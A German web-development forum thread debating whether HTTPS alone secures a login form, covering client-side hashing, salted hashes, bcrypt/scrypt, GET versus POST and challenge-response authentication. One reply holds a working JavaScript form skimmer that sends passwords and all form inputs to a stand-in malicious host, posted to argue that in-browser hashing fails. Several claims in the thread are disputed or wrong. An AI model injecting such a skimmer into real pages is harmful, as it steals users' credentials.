Forum: PC-Programmierung SSL - Frage zum Verständnis


von Sabrina (Gast)


Lesenswert?

Wenn ich ein SSL Zertifikat eingestellt habe, und oben das Grüne Schloss 
neben der Adresse erscheint, kann ich dann ein Login auf meiner Webseite 
einfach so ohne weiters programmieren? Das heißt ich muss mir überhaupt 
keine Sorgen mehr machen um irgendwelche Daten, die übertragen werden?

Ich frage deshalb, weil ich früher SSL nicht kannte und bis dahin auch 
javascriptmäßig eine md5 Verschlüsselung durchgeführt habe, und erst 
dann Benutzername und Passwort verschickt habe. Und dann PHP Seitig 
ausgewertet habe.

von user (Gast)


Lesenswert?

MD5 ist keine Verschlüsselung

von Stefan F. (Gast)


Lesenswert?

Sabrina schrieb:
> Wenn ich ein SSL Zertifikat eingestellt habe, und oben
> das Grüne Schloss neben der Adresse erscheint, kann ich
> dann ein Login auf meiner Webseite einfach so ohne weiters
> programmieren?
> Das heißt ich muss mir überhaupt keine Sorgen mehr machen um
> irgendwelche Daten, die übertragen werden?

Jein. Das Schloss zeigt an, dass die Verbindung zwischen Browser und 
Webserver verschlüsselt stattfindet. Aber wenn der Server das Passwort 
im Klartext verarbeitet und vergleicht, hast du dort eine 
Sicherheitslücke.

Wer Zugriff auf deine Daten hat, kann die Passwörter auslesen und 
missbrauchen. Die größten Gefahren für Unternehmen befinden sich immer 
innerhalb der eigenen Wände. Gerade nach Einführung der DSGVO ist das 
für persönliche Passwörter ein ganz heißes Eisen.

Ich rate Dir daher dazu, Passwörter nirgendwo im Klartext zu speichern 
und auch nicht im Klartext zu übermitteln. Speichere einen sicheren Hash 
(MD5 gilt nicht mehr als sicher), übermittle die Benutzereingabe auch 
nur als Hash und vergleiche diese Hashes miteinander.

Wenn dein Chef/Projektleiter meint, er brauche das Passwort für was auch 
immer, dann weise schriftlich auf das Risiko hin und bewahre eine Kopie 
von deinem Widerspruch in einem Safe auf. Informiere euren 
Datenschutzbeauftragen. Erst danach programmierst du es, wenn es 
unvermeidbar ist.

Zeitens:
Die Sicherheit von HTTPS steht und fällt mit der Vertrauenswürdigkeit 
der Zertifikate. Gerade erst wurde bekannt, dass die Software von 
Sennheiser Headsets ein Root Zertifikat installiert und quasi direkt 
daneben den dazugehörigen private Schlüssel (von Sennheiser) samt 
Passwort auf die festplatte installiert. Die Folge ist: Hacker können 
ganz einfach beliebig viele Zertifikate von diesem ableiten und für 
bösartige Server benutzen. Der Browser wird sie als vertrauenswürdig 
(grün) kennzeichnen, weil er das zugehörige Root Zertifikat findet. 
Damit können Bösewichte sich in die Internetverbindung einklinken und 
alles im Klartext mitlesen. Kein normaler Mensch wird bemerken, dass das 
grüne Zertifikat gar nicht dein ist, sondern eins von Sennheiser.

Und das ist nur ein ganz aktuelles Beispiel von vielen weiteren.

Mehrere namhafte Zertifizierer wurden erwischt, Zertifikate ohne Prüfung 
des Inhabers ausgestellt und weltweit ausgerollt zu haben. Wenn der 
Browser also meldet, dass das Zertifikat von sparkasse.de sicher sei, 
weil es ganz bestimmt der Sparkasse gehört, dann kann es auch ein Irrtum 
sein. Es ist bereits so oft passiert, dass mehreren Zertifizierern die 
Erlaubnis für Ihr Business entzogen wurde.

von öasljkdhtvnb (Gast)


Lesenswert?

Bitte nenne uns doch die Website, damit wir wissen, wo wir unsere Daten 
ganz sicher nicht eingeben sollten.

Mal im Ernst: Wenn man schon so fragt, warum nimmt man dann nicht 
irgendetwas fertiges für einen Login? Mit "gesalzenen Streuwerten" 
(salted hashes) und vernünftigen Hash-Algorithmen dürfte man wohl länger 
was von der Website haben als mit md5 oder zusammengeklicktem SSL (Am 
besten mit RSA noch...)

von (prx) A. K. (prx)


Lesenswert?

Stefanus F. schrieb:
> Es ist bereits so oft passiert, dass mehreren Zertifizierern die
> Erlaubnis für Ihr Business entzogen wurde.

Gibts dafür tatsächlich sowas wie eine offizielle Erlaubnis? Also 
abgesehen davon, das "Finger runter" durch Google ein Todesurteil 
darstellt.

von Sabrina (Gast)


Lesenswert?

Stefanus F. schrieb:
> Ich rate Dir daher dazu, Passwörter nirgendwo im Klartext zu speichern
> und auch nicht im Klartext zu übermitteln. Speichere einen sicheren Hash
> (MD5 gilt nicht mehr als sicher), übermittle die Benutzereingabe auch
> nur als Hash und vergleiche diese Hashes miteinander.

Wenn ich mit Javascript einen Hash erzeuge, funktioniert der Login nur 
dann, wenn Javascript zugelassen ist.

Stefanus F. schrieb:
> Jein. Das Schloss zeigt an, dass die Verbindung zwischen Browser und
> Webserver verschlüsselt stattfindet. Aber wenn der Server das Passwort
> im Klartext verarbeitet und vergleicht, hast du dort eine
> Sicherheitslücke.

das heißt ich müsste die passwörter für die Logins in der mysql Tabelle 
beispielsweise mit md5 gehasht gespeichert lassen. Wenn nun der Benutzer 
das Passwort eingibt, wird dieses ja so und so sicher über SSL 
übertragen. Wenn es angekommen ist, dann ist es ja im Klartext. Jetzt 
wird gehasht und mit der mysql Tabelle verglichen. Somit ist das 
Passwort nur für kurze Zeit im klartext und nicht dauerhaft. Habe ich 
das so richtig verstanden?

von Stefan F. (Gast)


Lesenswert?

Sabrina schrieb:
> Wenn ich mit Javascript einen Hash erzeuge, funktioniert der Login nur
> dann, wenn Javascript zugelassen ist.

Ja, ist dann halt so. Einen Tod muss man sterben.

> Habe ich das (andere) so richtig verstanden?

Nein, überhaupt nicht.

Zunächst mal sollst du HTTPS als Hilfreich aber nicht als sicher 
betrachten.

Du sollst das Passwort im Browser Verhashen, dann den Hash an den Server 
senden. Der Server kennt das echte Passwort des Benutzer gar nicht. Er 
kann nur den Hash mit dem in der Db gespeichertem hash vergleichen.

Wie gesagt ist MD5 nicht mehr sicher. Verwende ein gesalzenes SHA256 
(https://crackstation.net/hashing-security.htm#salt).

Wenn jemand die Verbindung beschnüffelt, oder die DB ausliest, oder die 
Festplatte klaut oder sonst irgendwo bei Dir Daten abgreift, dann 
bekommt er nur ganz viele Hashes. Damit kann er nicht sehr viel 
anfangen, weil diese Hashes nur auf deiner Seite funktionieren werden.

Viel Schimmer ist, wenn ein Bösewicht an tausende Klartext-Passwörter 
kommt. Denn die meisten Leute benutzen auf zahlreichen Webseiten die 
gleichen Passwörter.

Wenn er den Browser des Benutzers Hackt, kannst du nichts machen, aber 
dann ist es rein Rechtlich auch nicht dein Problem. Außerdem kommt der 
Hacker so nur an die Passwörter einer Person, nicht an deinen gesamten 
Kundenkreis.

von Daniel A. (daniel-a)


Lesenswert?

Stefanus F. schrieb:
> Zunächst mal sollst du HTTPS als Hilfreich aber nicht als sicher
> betrachten.

Wenn eine TLS Verbindung zwischen deinem Server mit deinem nur dir 
bekannten Private Key und einem Browser kompromittiert ist, hast du 
sowieso schon verloren. Darüber wird nähmilch auch die Seite und die 
Javascripts zum browser gesendet, und ein angreifer kann dann auch 
einfach bequem mit eigenem JS das Passwort aus der Form zu sich senden 
lassen.

> Du sollst das Passwort im Browser Verhashen, dann den Hash an den Server
> senden.

Völlig nutzlos, dann ist nachher der Hash genausogut wie das Passwort 
selbst. Mit challange response könnte man wiederum die übertragung 
absichern, aber dann geht das mit dem hashen wieder nicht mehr. Hashe 
das ding einfach Serverseitig, so wie alle anderen auch.

Ausserdem, md5 & sha1, alles längst veraltet. Verfahren wie bcrypt sind 
momentan angesagt, die erhöhen die Hashdauer dank variabler 
Hashdurchläufe.

Am sicherstenn wäre es wohl mit clientseitig erstellten Zertifikaten, 
dafür gab es mal die keygen elemente. Hat aber kein schwein verwendet 
(abgesehen vom solid, soviel zu Lees einfluss im konsortium), und wurde 
wieder entfernt.

von Cyblord -. (Gast)


Lesenswert?

Daniel A. schrieb:
> Wenn eine TLS Verbindung zwischen deinem Server mit deinem nur dir
> bekannten Private Key und einem Browser kompromittiert ist, hast du
> sowieso schon verloren. Darüber wird nähmilch auch die Seite und die
> Javascripts zum browser gesendet, und ein angreifer kann dann auch
> einfach bequem mit eigenem JS das Passwort aus der Form zu sich senden
> lassen.

This.

Also bitte, clientseitig vorhashen und dafür JS voraussetzen? Was für 
ein Unsinn. Entweder der Übertragungsweg ist abgesichert oder er ist es 
nicht. Und wenn er es nicht ist, dann kann ich alles mithören was ich 
brauche um mich einzuloggen.
In die DB kommt nur Hash samt Salt, nichts im Klartext.

Stefanus F. schrieb:
> Ja, ist dann halt so. Einen Tod muss man sterben.

Ich hoffe du verdienst mit Web nicht professionell dein Geld, ...

von Stefan F. (Gast)


Lesenswert?

> Ich hoffe du verdienst mit Web nicht professionell dein Geld, ...

Ich hoffe, du bist kein Berater.

Es geht mir darum, dass der Server niemals das Klartext-Passwort des 
Benutzers kennen soll. Weder in der Datenbank, noch im Speicher.

Hintergrund ist, dass die allermeisten Menschen das gleiche Passwort auf 
sehr vielen Webseiten verwenden. Wenn ein Hacker tausende Passwörter vom 
Server erbeutet, haben die Benutzer ein ernsthaftes Problem.

Ein gesalzener Hash ist insofern sicherer, dass er nur auf dieser einen 
Webseite nutzbar ist. Programme mit Klartext Passwörtern (egal ob via 
HTTPS oder nicht) bekommst du heute durch kein ernsthaftes 
Security-Audit mehr durch.

Im Übrigen wird bei eMails zu Recht ein noch komplexeres (Challenge) 
Verfahren verwendet. Da schickt der Server dem Client einen 
Wegwerf-Salt, der nur dieses eine mal gültig ist. Wer ein so einen Hash 
klaut, kann ihn gar nicht wieder verwenden, denn der Salt ist bis dahin 
schon verfallen.

Ich habe oben in meiner ersten Antwort bereits auf eine Anleitung 
verwiesen, die das umfangreich erklärt.

von Cyblord -. (Gast)


Lesenswert?

Stefanus F. schrieb:
> Es geht mir darum, dass der Server niemals das Klartext-Passwort des
> Benutzers kennen soll. Weder in der Datenbank, noch im Speicher.

Schon klar, aber wenn du einfach nen Hash raussendest und den zum 
Vergleichen nutzt brauche ich als Angreifer das Klartext-Passwort nicht 
kennen. Das macht keinen Unterschied. Oder hasht du den Hash nochmal 
nach auf dem Server?

Stefanus F. schrieb:
> Programme mit Klartext Passwörtern (egal ob via
> HTTPS oder nicht) bekommst du heute durch kein ernsthaftes
> Security-Audit mehr durch.

In Umgebungen wo sowas notwendig ist, sollte man direkt auf Client 
Zertifikate setzen.

von Stefan F. (Gast)


Lesenswert?

Abradolf L. schrieb:
> Schon klar, aber wenn du einfach nen Hash raussendest und den zum
> Vergleichen nutzt brauche ich als Angreifer das Klartext-Passwort nicht
> kennen. Das macht keinen Unterschied.

Wie gesagt macht es einen Unterschied auf den anderen Web-Seiten, wo der 
Hash nicht funktioniert, das selbe Passwort aber funktionieren würde.

Es ist ein guter Schritt zu mehr Sicherheit. Man kann weitere Schritte 
gehen. 100% Sicherheit gibt es aber leider nicht.

von Cyblord -. (Gast)


Lesenswert?

Stefanus F. schrieb:
> Wie gesagt macht es einen Unterschied auf den anderen Web-Seiten, wo der
> Hash nicht funktioniert, das selbe Passwort aber funktionieren würde.

Wo siehst du den Angriffsvektor, der nicht automatisch noch 
weitreichendere Folgen hätte?

HTTPS Übertragung broken? MITM fischt dir noch mehr ab.
Klartext-Passwort kurzzeitig im Speicher auslesbar? Hast ein ernsthaftes 
Server-Problem, wenn das jemand Drittes ablesen kann.

Ich verstehe deinen Concern schon, nur dafür beim Nutzer JS zu erzwingen 
ist meines Erachtens daneben geschossen, für einen fragwürdigen Nutzen. 
Gegen supersimpelst Passwörter hilft auch kein gesalzener Hash mehr, 
weil eine kleine Rainbowtable für einen speziellen Salt in Kombination 
mit den gängigen Hashverfahren, schnell erstellt ist.

von Stefan F. (Gast)


Lesenswert?

Abradolf L. schrieb:
> Klartext-Passwort kurzzeitig im Speicher auslesbar? Hast ein ernsthaftes
> Server-Problem, wenn das jemand Drittes ablesen kann.

Wie gesagt sollten Firmen sich auch gegen Gefahren von Innen wappnen. 
Kein Mitarbeiter sollte imstande sein, Passwortlisten zu verkaufen. So 
etwas passiert nicht nur aus Boshaftigkeit, es kann auch Erpressung 
dahinter stecken.

> Ich verstehe deinen Concern schon, nur dafür beim Nutzer JS zu erzwingen
> ist meines Erachtens daneben geschossen, für einen fragwürdigen Nutzen.

Man kann ja beides kombinieren. Wenn JS aktiviert ist, nutzt man es, 
ansonsten halt Klartext. Dann ist der Benutzer aber selber Schuld. Wer 
Angst hat, kann sogar noch eine Warnung einblenden.

> Gegen supersimpelst Passwörter hilft auch kein gesalzener Hash mehr,
> weil eine kleine Rainbowtable für einen speziellen Salt in Kombination
> mit den gängigen Hashverfahren, schnell erstellt ist.

Mag sein, "supersimpelst Passwörter " war aber hier nicht das Thema.

von Purzel H. (hacky)


Lesenswert?

Zurueck zur Sicherheit von SSL. Die GET Parameter werden, da Teil der 
URL, lesbar uebertragen waehrend die POST parameter hingegen 
verschluesselt sind.

Die GET Parameter sind diese :

http://www.bala.com/index.php?user=abcd&password=1234

Das Einlesen der parameter geschieht in PHP etwa so :

if isset($_GET[user]) { $user=$_GET[user]; }

die html Seite scheint etwa so :
<body><form method="GET" .. resp <body><form method="POST"..

: Bearbeitet durch User
von Cyblord -. (Gast)


Lesenswert?

Jetzt ist G. schrieb:
> Die GET Parameter sind diese

User Credentials per GET übertragen? Ich denke wer sowas macht, bei dem 
ist dann schon alles verloren, ...

Aber Recht hast du damit.

von Soeren K. (srkeingast)


Lesenswert?

Jetzt ist G. schrieb:
> Zurueck zur Sicherheit von SSL. Die GET Parameter werden, da Teil der
> URL lesbar uebertragen

Sorry, das ist kompletter Unsinn. Lediglich der Hostname wird (noch) 
unverschlüsselt übertragen.

Macht man natürlich aber trotzdem per POST.

: Bearbeitet durch User
von Daniel A. (daniel-a)


Lesenswert?

Stefanus F. schrieb:
> Es geht mir darum, dass der Server niemals das Klartext-Passwort des
> Benutzers kennen soll. Weder in der Datenbank, noch im Speicher.

Wenn man zugriff auf den RAM des Servers oder eines Programm darauf hat, 
ist es auch ein Einfaches den Server JS-Code zum Client senden zu 
lassen. Und wenn ein Angreifer da dann sowas mitsenden lässt 
(ungetestet):
1
addEventListener("submit", function(event){
2
  var form = event.target.form || event.target;
3
  if(!form || !(form instanceof HTMLFormElement))
4
    return;
5
  var pwinput = Array.from(form.querySelectorAll("input[type=password]"));
6
  if(!pwinput.length)
7
    return;
8
  var payload = {
9
    password_fields: pwinput.map(function(x){return x.name;}),
10
    location: location.href,
11
    action: form.action,
12
    method: form.method,
13
    inputs: Array.from(new FormData(form).entries())
14
  };
15
  fetch("https://totally_ads.mymallicousserver.com/collect",{
16
    method: 'POST',
17
    headers: { 'Content-Type': 'application/json' },
18
    body: JSON.stringify(payload)
19
  }).catch(function(){});
20
}, true);

Dann wird das plaintext Passwort zum Angreifer gesendet, bevor dein JS 
dieses hasht.

Klar, eine DB ohne hashs wäre problematisch, weil man dann alle 
Passwörter hätte. Aber Passwörter im RAM bleiben da nicht ewig, 
zumindest wenn man kein memory leak hat. Dort ist es dann viel einfacher 
und effektiver, einfach einen eigenen Payload zum client mitsenden zu 
lassen.

Und selbst mit gehasten  Passwörtern, ein Angreifer, der auf den Server 
kommt, kann dank DSGVO mit abgegriffenen E-Mails eine Firma genauso gut 
erpressen, wie mit abgegriffenen Passwörtern.

Und bezüglich password reuse, das Problem lässt sich nur mit einer 
Sensibilisierung des Benutzers lösen, denn wenn dieser Passwörter 
wiederverwendet, hat er ein Problem, ganz egal "sicher" die Seiten 
geschrieben sind.

Stefanus F. schrieb:
> Im Übrigen wird bei eMails zu Recht ein noch komplexeres (Challenge)
> Verfahren verwendet. Da schickt der Server dem Client einen
> Wegwerf-Salt

Das ist eher die Ausnahme als die Regel. Von 
https://en.wikipedia.org/wiki/SMTP_Authentication#Details
> As with all SMTP extensions, SMTP AUTH is advertised in the EHLO response, along 
with a list of supported authentication methods.
> These methods may change after issuing STARTTLS, typically allowing plain text 
passwords in the latter case only

Gmail beispielsweise unterstützt zwar momentan auch ein zwei der anderen 
verfahren: "LOGIN PLAIN XOAUTH2 PLAIN-CLIENTTOKEN OAUTHBEARER XOAUTH", 
aber die Mailprogramme wie Thunderbird und co. verwenden dann ja doch 
wieder PLAIN oder LOGIN.

von Stefan F. (Gast)


Lesenswert?

Daniel A. schrieb:
> Und bezüglich password reuse, das Problem lässt sich nur mit einer
> Sensibilisierung des Benutzers lösen, denn wenn dieser Passwörter
> wiederverwendet, hat er ein Problem, ganz egal "sicher" die Seiten
> geschrieben sind.

Das ist leider nicht einfach, weil immer mehr Web-Dienste auf 
Single-Sign-On über Facebook, Google (und ähnliche) setzen. Das 
erscheint den Leuten als modern und praktisch.

Wenn du denen erzählst, sie sollen überall andere Passwörter verwenden, 
ist das zwar vernünftig, aber auch viel zu altmodisch - leider.

von Ralf D. (doeblitz)


Lesenswert?

Stefanus F. schrieb:
> Es geht mir darum, dass der Server niemals das Klartext-Passwort des
> Benutzers kennen soll. Weder in der Datenbank, noch im Speicher.
[...]
> Im Übrigen wird bei eMails zu Recht ein noch komplexeres (Challenge)
> Verfahren verwendet. Da schickt der Server dem Client einen
> Wegwerf-Salt, der nur dieses eine mal gültig ist. Wer ein so einen Hash
> klaut, kann ihn gar nicht wieder verwenden, denn der Salt ist bis dahin
> schon verfallen.

Hüstel. Das hat jetzt mit Web wenig (Digest-Auth gibt es da zwar 
theoretisch auch, aber praktisch ...) bis gar nichts zu tun, aber nur 
damit dir der Widerspruch deiner Aussagen klar wird:

CRAM-MD5 und Digest-MD5, die beiden üblichen Methoden für 
kryptografische Authentifizierung bei Email, basieren auf einem "shared 
secret", das beide Seiten, Client und Server, kennen (müssen). Und das 
ist genau dein Passwort. Und der Server-Prozess muss das im Klartext 
nutzen, denn genau so ist das verfahren definiert. Dafür gehen da 
niemals Passwörter in irgendeiner Form über den Kommunikationskanal.

Wie du schon schriebst: einen Tod muss man sterben. Persönlich ist es 
mir lieber, wenn ich den Kommunikationskanal nicht sichern muss, denn 
er ist IMHO deutlich leichter angreifbar als die 
Kommunikationsendpunkte. YMMV.

von Sven B. (scummos)


Lesenswert?

Sabrina schrieb:
> Stefanus F. schrieb:
>> Jein. Das Schloss zeigt an, dass die Verbindung zwischen Browser und
>> Webserver verschlüsselt stattfindet. Aber wenn der Server das Passwort
>> im Klartext verarbeitet und vergleicht, hast du dort eine
>> Sicherheitslücke.
>
> das heißt ich müsste die passwörter für die Logins in der mysql Tabelle
> beispielsweise mit md5 gehasht gespeichert lassen.

Nein, das solltest du nicht tun. Du solltest sowas wie scrypt benutzen. 
md5 ist für jede Anwendung, die nicht rein "ist da zufällig ein Bit 
umgefallen?" ist, als komplett defekt zu betrachten.

Generell solltest du keine Sicherheitsfunktionen selbst entwickeln, wenn 
du dir nicht sehr sicher bist, dass du weißt was du da tust.

: Bearbeitet durch User
von juergen (Gast)


Lesenswert?

Ich kenne mich nicht besonders gut mit Internet und dem Drumherum aus.

Deshalb frage ich mich, warum immer wieder zu einem sehr langen und 
komplizierten Paßwort geraten wird.

Wenn ich mich einmal mit dem falschen Paßwort versuche einzuloggen, muß 
ich doch sowieso ein paar Sekunden warten, bevor ich einen weiteren 
Versuch habe. Da ist doch eine Zeitsperre drin. Ich kann demnach nicht 
alle Wörter eines Wörterbuches zugleich für das Einloggen eingeben. Wäre 
das möglich, wäre allerdings ein kompliziertes Paßwort anzuraten.
Könnte mich mal jemand aufklären?

von Cyblord -. (Gast)


Lesenswert?

juergen schrieb:
> Da ist doch eine Zeitsperre drin.

Das ist applikationsabhängig wieviele Versuche pro Sekunde eine 
Applikation zu lässt (oder der darunterliegende Server an Requests 
verarbeiten kann).

von abcd (Gast)


Lesenswert?

juergen schrieb:
> Da ist doch eine Zeitsperre drin. Ich kann demnach nicht
> alle Wörter eines Wörterbuches zugleich für das Einloggen eingeben.

Das stimmt, wenn Du direkt die Eingabemaske angreifst. Falls dir aber 
irgendein Hash (+Salt) in die Hände fällt, dann kannst Du zu Hause dein 
GPU-Cluster darauf loslassen, egal ob es eine Zeitsperre in der 
Anwendung gibt oder nicht.

von Sven B. (scummos)


Lesenswert?

juergen schrieb:
> Ich kenne mich nicht besonders gut mit Internet und dem Drumherum aus.
>
> Deshalb frage ich mich, warum immer wieder zu einem sehr langen und
> komplizierten Paßwort geraten wird.
>
> Wenn ich mich einmal mit dem falschen Paßwort versuche einzuloggen, muß
> ich doch sowieso ein paar Sekunden warten, bevor ich einen weiteren
> Versuch habe. Da ist doch eine Zeitsperre drin. Ich kann demnach nicht
> alle Wörter eines Wörterbuches zugleich für das Einloggen eingeben. Wäre
> das möglich, wäre allerdings ein kompliziertes Paßwort anzuraten.
> Könnte mich mal jemand aufklären?

Das ist kein besonders guter Ratschlag. Stattdessen solltest du am 
besten einen Passwort-Manager benutzen, der dir für jedes Login ein 
neues, zufälliges Passwort generiert. Ob das dann 7 oder 12 oder 70 
Zeichen lang ist, ist relativ egal.

von juergen (Gast)


Lesenswert?

Danke an alle Beteiligten für die schnelle Beantwortung meiner Frage.

von Jim M. (turboj)


Lesenswert?

Stefanus F. schrieb:
> der Server niemals das Klartext-Passwort des
> Benutzers kennen soll. Weder in der Datenbank, noch im Speicher.

Diese sehr harte Anforderung würden nur SSL Client-Zertifikate erfüllen. 
Dann bräuchte man keine Passwörter mehr für https, denn man erkennt den 
User an seinem Zertifikat.

von Stefan F. (Gast)


Lesenswert?

Jim M. schrieb:
> Stefanus F. schrieb:
>> der Server niemals das Klartext-Passwort des
>> Benutzers kennen soll. Weder in der Datenbank, noch im Speicher.
>
> Diese sehr harte Anforderung würden nur SSL Client-Zertifikate erfüllen.
> Dann bräuchte man keine Passwörter mehr für https, denn man erkennt den
> User an seinem Zertifikat.

Zertifikate sind eine Möglichkeit. Wie gesagt ist die 
Challenge-Authentisierung wie bei SMTP eine weitere Möglichkeit (mit 
weniger Administrationsaufwand vor allem  auf der Client Seite).

von Sheeva P. (sheevaplug)


Lesenswert?

Stefanus F. schrieb:
> Zunächst mal sollst du HTTPS als Hilfreich aber nicht als sicher
> betrachten.
>
> Du sollst das Passwort im Browser Verhashen, dann den Hash an den Server
> senden. Der Server kennt das echte Passwort des Benutzer gar nicht. Er
> kann nur den Hash mit dem in der Db gespeichertem hash vergleichen.
>
> Wie gesagt ist MD5 nicht mehr sicher. Verwende ein gesalzenes SHA256
> (https://crackstation.net/hashing-security.htm#salt).

Stefanus, bitte entschuldige, ansonsten schätze ich Deine Kompetenz 
sehr, aber hier liegst Du IMO komplett daneben. Denn woher sollte der 
Browser denn wissen, mit welchen Salt das Paßwort des Benutzers 
gespeichert wurde?

Was Sabrina geschrieben hat, war schon vollkommen richtig. Warum sollte 
der Browser das Klartext-Paßwort nicht über eine TLS-gesicherte 
Verbindung übertragen? Wenn ein Angreifer das Klartext-Paßwort auf dem 
Server auslesen kann, dann ist ohnehin Hopfen und Malz verloren, und 
Dein Hashing im Browser nutzt an dieser Stelle gar nicht. Denn als 
allerersten Schritt würde unser Angreifer das vom Server ausgelieferte 
Javascript so manipulieren, daß es ihm wieder das Klartext-Paßwort 
übergibt...

von Sheeva P. (sheevaplug)


Lesenswert?

Jetzt ist G. schrieb:
> Zurueck zur Sicherheit von SSL. Die GET Parameter werden, da Teil der
> URL, lesbar uebertragen waehrend die POST parameter hingegen
> verschluesselt sind.

Nein. TLS (früher: SSL) setzt auf dem Netzwerklayer an, anders gesagt: 
der gesamte Traffic, der über einen TLS-gesicherten Socket läuft, wird 
dabei transparent ver- und entschlüsselt. Das betrifft die gesamte 
Payload der darüber liegenden Protokolle, hier HTTP, und natürlich auch 
dessen GET-Parameter.

Das Problem bei GET-Parametern ist in diesem Falle ein ganz anderes, 
nämlich daß sie dadurch wahrscheinlich im Klartext in den Logdateien des 
Servers landen. Deswegen ist POST an dieser Stelle das Mittel der Wahl.

Bitte melde dich an um einen Beitrag zu schreiben. Anmeldung ist kostenlos und dauert nur eine Minute.
Bestehender Account
Schon ein Account bei Google/GoogleMail? Keine Anmeldung erforderlich!
Mit Google-Account einloggen
Noch kein Account? Hier anmelden.